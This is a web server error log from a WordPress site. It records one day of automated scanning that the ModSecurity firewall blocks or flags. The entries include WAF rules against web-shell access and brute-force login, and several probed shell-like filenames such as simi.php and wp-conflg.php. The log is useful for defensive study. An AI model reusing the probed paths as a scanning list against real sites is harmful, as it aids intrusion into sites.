[Wed Dec 24 06:46:22.146318 2025] [autoindex:error] [pid 16467:tid 16508] [client 4.196.65.89:38911] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Dec 24 06:46:27.293931 2025] [autoindex:error] [pid 16467:tid 16502] [client 4.196.65.89:38911] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Dec 24 06:46:32.091001 2025] [autoindex:error] [pid 16467:tid 16519] [client 4.196.65.89:10350] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Dec 24 06:46:37.204972 2025] [:error] [pid 16467:tid 16505] [client 4.196.65.89:10350] [client 4.196.65.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.196.65.89, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsbzY0TJMcBxX5slgqRpAAAAEg"], referer: https://www.bing.com/
[Wed Dec 24 06:46:39.679076 2025] [autoindex:error] [pid 54139:tid 54149] [client 4.196.65.89:17047] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Dec 24 06:46:44.384445 2025] [autoindex:error] [pid 16467:tid 16498] [client 4.196.65.89:10350] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Wed Dec 24 06:46:44.406698 2025] [autoindex:error] [pid 54139:tid 54159] [client 4.196.65.89:17047] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Dec 24 06:46:49.550398 2025] [:error] [pid 16467:tid 16519] [client 4.196.65.89:10350] [client 4.196.65.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.196.65.89, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsb2Y0TJMcBxX5slgqRsQAAAFY"], referer: https://www.google.com/
[Wed Dec 24 06:47:45.458778 2025] [autoindex:error] [pid 16467:tid 16520] [client 4.196.65.89:10350] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Dec 24 06:47:50.787978 2025] [autoindex:error] [pid 16467:tid 16518] [client 4.196.65.89:21224] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Wed Dec 24 06:47:50.804703 2025] [:error] [pid 16467:tid 16509] [client 4.196.65.89:21224] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aUscFo0TJMcBxX5slgqR6gAAAEw"], referer: https://www.google.fr/
[Wed Dec 24 06:47:50.841509 2025] [autoindex:error] [pid 16466:tid 16479] [client 4.196.65.89:27572] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Dec 24 06:47:50.857003 2025] [:error] [pid 16466:tid 16473] [client 4.196.65.89:27572] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aUscFru0JcuKJMjJn6x4kgAAAAM"], referer: https://www.bing.com/
[Wed Dec 24 06:47:50.895311 2025] [:error] [pid 16466:tid 16472] [client 4.196.65.89:10422] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aUscFru0JcuKJMjJn6x4kwAAAAI"], referer: https://www.bing.com/
[Wed Dec 24 06:47:50.931423 2025] [:error] [pid 16467:tid 16497] [client 4.196.65.89:30481] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aUscFo0TJMcBxX5slgqR6wAAAEA"], referer: https://www.yahoo.com/
[Wed Dec 24 06:47:50.965910 2025] [:error] [pid 54139:tid 54149] [client 4.196.65.89:11154] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUscFsrYCZenIDzgXuKOaQAAAQg"], referer: https://www.bing.com/
[Wed Dec 24 06:47:51.008877 2025] [autoindex:error] [pid 16466:tid 16484] [client 4.196.65.89:11158] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Dec 24 06:47:52.492999 2025] [autoindex:error] [pid 16466:tid 16474] [client 4.196.65.89:11158] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Dec 24 06:47:52.509677 2025] [:error] [pid 16466:tid 16490] [client 4.196.65.89:11158] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aUscGLu0JcuKJMjJn6x4lgAAABQ"], referer: https://www.google.co.uk/
[Wed Dec 24 06:47:52.542842 2025] [:error] [pid 16467:tid 16517] [client 4.196.65.89:21826] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aUscGI0TJMcBxX5slgqR7gAAAFQ"], referer: https://www.google.de/
[Wed Dec 24 06:47:52.575588 2025] [:error] [pid 54139:tid 54142] [client 4.196.65.89:25018] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aUscGMrYCZenIDzgXuKOagAAAQE"], referer: https://www.bing.com/
[Wed Dec 24 06:47:52.626720 2025] [autoindex:error] [pid 54139:tid 54146] [client 4.196.65.89:41084] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Dec 24 06:47:52.648297 2025] [autoindex:error] [pid 54139:tid 54145] [client 4.196.65.89:41084] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Dec 24 06:47:52.672124 2025] [autoindex:error] [pid 54139:tid 54147] [client 4.196.65.89:41084] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Dec 24 06:47:52.692191 2025] [autoindex:error] [pid 54139:tid 54162] [client 4.196.65.89:41084] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Dec 24 06:47:52.707569 2025] [:error] [pid 54139:tid 54165] [client 4.196.65.89:41084] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aUscGMrYCZenIDzgXuKObwAAARg"], referer: https://duckduckgo.com/
[Wed Dec 24 06:47:52.745366 2025] [:error] [pid 16550:tid 16576] [client 4.196.65.89:34840] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aUscGKYYcdD-LuO7vrANHAAAANg"], referer: https://www.google.co.uk/
[Wed Dec 24 06:47:52.782444 2025] [:error] [pid 16468:tid 16524] [client 4.196.65.89:18738] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aUscGIdyfuSTFLkCbP_SkQAAAIA"], referer: https://duckduckgo.com/
[Wed Dec 24 06:47:52.838487 2025] [autoindex:error] [pid 16468:tid 16545] [client 4.196.65.89:21866] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Dec 24 06:47:52.855697 2025] [:error] [pid 16468:tid 16547] [client 4.196.65.89:21866] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aUscGIdyfuSTFLkCbP_SkwAAAJc"], referer: https://www.google.com/
[Wed Dec 24 06:47:52.899508 2025] [:error] [pid 16468:tid 16535] [client 4.196.65.89:11159] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aUscGIdyfuSTFLkCbP_SlAAAAIs"], referer: https://www.google.co.uk/
[Wed Dec 24 06:47:52.940869 2025] [autoindex:error] [pid 16468:tid 16533] [client 4.196.65.89:29451] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Dec 24 06:47:52.962391 2025] [autoindex:error] [pid 16468:tid 16529] [client 4.196.65.89:29451] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Dec 24 06:47:52.983079 2025] [autoindex:error] [pid 16468:tid 16536] [client 4.196.65.89:29451] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Wed Dec 24 06:47:52.998404 2025] [:error] [pid 16468:tid 16537] [client 4.196.65.89:29451] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUscGIdyfuSTFLkCbP_SmAAAAI0"], referer: https://www.yahoo.com/
[Wed Dec 24 06:47:53.034543 2025] [:error] [pid 16467:tid 16503] [client 4.196.65.89:18714] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aUscGY0TJMcBxX5slgqR7wAAAEY"], referer: https://duckduckgo.com/
[Wed Dec 24 06:47:53.068020 2025] [:error] [pid 16466:tid 16492] [client 4.196.65.89:21193] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/index.php"] [unique_id "aUscGbu0JcuKJMjJn6x4lwAAABY"], referer: https://www.google.fr/
[Wed Dec 24 06:47:53.106097 2025] [autoindex:error] [pid 16466:tid 16471] [client 4.196.65.89:41797] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Dec 24 06:47:53.121529 2025] [:error] [pid 16466:tid 16480] [client 4.196.65.89:41797] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aUscGbu0JcuKJMjJn6x4mQAAAAo"], referer: https://www.bing.com/
[Wed Dec 24 06:47:53.153224 2025] [:error] [pid 16550:tid 16562] [client 4.196.65.89:10408] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aUscGaYYcdD-LuO7vrANHQAAAMo"], referer: https://www.google.com/
[Wed Dec 24 06:47:53.188046 2025] [:error] [pid 16468:tid 16538] [client 4.196.65.89:29444] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aUscGYdyfuSTFLkCbP_SmQAAAI4"], referer: https://www.google.co.uk/
[Wed Dec 24 06:47:53.222354 2025] [:error] [pid 54139:tid 54144] [client 4.196.65.89:27536] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aUscGcrYCZenIDzgXuKOcAAAAQM"], referer: https://www.google.com/
[Wed Dec 24 06:47:53.265044 2025] [:error] [pid 16468:tid 16540] [client 4.196.65.89:25021] [client 4.196.65.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aUscGYdyfuSTFLkCbP_SmgAAAJA"], referer: https://www.yahoo.com/
[Wed Dec 24 06:47:53.322640 2025] [:error] [pid 16468:tid 16534] [client 4.196.65.89:33821] [client 4.196.65.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.196.65.89, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUscGYdyfuSTFLkCbP_SnAAAAIo"], referer: https://www.google.de/
[Wed Dec 24 06:47:55.712994 2025] [:error] [pid 16467:tid 16515] [client 4.196.65.89:10350] [client 4.196.65.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.196.65.89, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUscG40TJMcBxX5slgqR8AAAAFI"], referer: https://www.google.de/
[Wed Dec 24 09:25:36.486081 2025] [:error] [pid 54139:tid 54165] [client 49.51.243.95:41108] [client 49.51.243.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/services/"] [unique_id "aUtBEMrYCZenIDzgXuLNRQAAARg"]
[Wed Dec 24 09:57:35.001739 2025] [:error] [pid 54139:tid 54149] [client 192.42.116.182:54453] [client 192.42.116.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.42.116.182, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUtIj8rYCZenIDzgXuLcWwAAAQg"], referer: https://vetstars.com.au/xmlrpc.php?rsd
[Wed Dec 24 10:47:31.482436 2025] [autoindex:error] [pid 28777:tid 28788] [client 104.234.53.224:43981] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Dec 24 10:47:31.733065 2025] [autoindex:error] [pid 28777:tid 28781] [client 104.234.53.224:43981] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Dec 24 10:47:31.995459 2025] [autoindex:error] [pid 28777:tid 28803] [client 104.234.53.224:43981] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Dec 24 10:47:32.220890 2025] [autoindex:error] [pid 28777:tid 28798] [client 104.234.53.224:43981] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Dec 24 15:28:58.646026 2025] [:error] [pid 29371:tid 29378] [client 117.62.235.53:51195] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUuWOns-DlKLysSq5L9mjQAAAcU"]
[Wed Dec 24 16:19:26.503428 2025] [:error] [pid 16466:tid 16480] [client 165.227.188.244:53153] [client 165.227.188.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.227.188.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUuiDru0JcuKJMjJn6wIiwAAAAo"]
